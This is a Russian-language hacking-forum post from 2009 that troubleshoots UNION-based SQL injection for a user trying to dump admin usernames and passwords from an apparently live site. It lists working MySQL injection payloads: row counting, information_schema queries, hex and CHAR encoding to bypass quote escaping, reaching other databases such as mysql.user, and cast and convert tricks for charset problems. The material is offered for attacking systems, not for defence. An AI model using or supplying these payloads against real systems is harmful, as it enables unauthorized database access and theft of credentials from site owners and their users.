Показать сообщение отдельно

  #4585  
Старый 11.01.2009, 12:47
Jokester
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию

Цитата:
Сообщение от Octave_Parango  
пытаюсь вывести данные из колонки admin:
=-345+union+select+1,2,concat_ws(0x3a,admin_user,adm in_password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,1 8,19+from+admin--

Ничего не выводит. Пробую лимит, тоже самое. Хэксил - пусто.

Пишу:

=-345+union+select+1,2,count(*),4,5,6,7,8,9,10,11,12 ,13,14,15,16,17,18,19+from+admin--

Выводит число 149
Гоняем одни и те-же вопросы по кругу.

Господа, вывод это не мёд (вроде есть, и сразу нет), он или есть, или нет.

Если Вы видите вывод цифры, то он есть 100%, а невозможность вывода данных может быть только в нескольких случаях

1 Таблица пустая
Проверяется count(*)
union+select+1,2,count(*),4+from+user
либо для 5 ветки так
union+select+1,table_rows+from+information_schema. tables+where+table_name='user'
Если ковычки слешируются, перевести название таблицы/колонки в hex или в CHAR, кому как нравится
Для hex это выглядит так(добавляем к hex впереди 0x что-бы база поняла, что за данные мы ей втюхиваем):
union+select+1,table_rows+from+information_schema. tables+where+table_name=0x7573657273
для CHAR так:
union+select+1,table_rows+from+information_schema. tables+where+table_name=char(117,115,101,114,115)
Как видим обошлись без ковычек (сдесь table_name=users)
Некоторые индивидумы умудряются загонять в хекс или чар вместе с ковычками, тоесть так 'users'=27757365727327, так делать ненадо, я Вас умоляю )
Внимание, операторы, функции, и т.д переводить в hex или char нельзя(точнее, переводить то можно, но база Вас не поймёт ))
2 Таблица в другой базе
В базе information_schema хранится информация обо всех таблицах и столбцах из всех баз, и есть вероятность того, что ваша таблица находится не в той базе с которой работает скрипт
Проверяем(5 ветка) :
table_schema+from+information_schema.tables+where+ table_name='user', а база с которой работает скрипт выводится database(). Если базы разные, пробуем обратится к той которая нужна
union+select+1,2,count(*),4+from+base.user (по аналогии с mysql.user)
3 Несоответствие кодировки
Что-бы получить данные в нужной нам кодировке можно пользоваться либо функциями приведения типов:
cast(Version()+as+binary)
CONVERT(Version(),binary)
convert(version()+using+latin1)

Либо шифровать/дешифровать данные. Результат при этом возвращается уже в "правильной" кодировке
aes_decrypt(aes_encrypt(Version(),1),1)
unhex(hex(version()))

4 Несоответствие типа данных
MySql к типам данных лоялен, а вот другие базы нет.Если база не mysql, читаем статьи по своей базе и приводим данные к нужному типу.
5 Закрыт доступ к таблице\базе
Опять-же, в mysql нельзя ограничить доступ к таблице, (можно только к базе), а в некоторых других базах можно

*Все примеры даны для mysql , в других базах другой синтаксис(читаем статьи)

Это основные причины невозможности вывода данных, которые решат 99% ваших вопросов.
 
Ответить с цитированием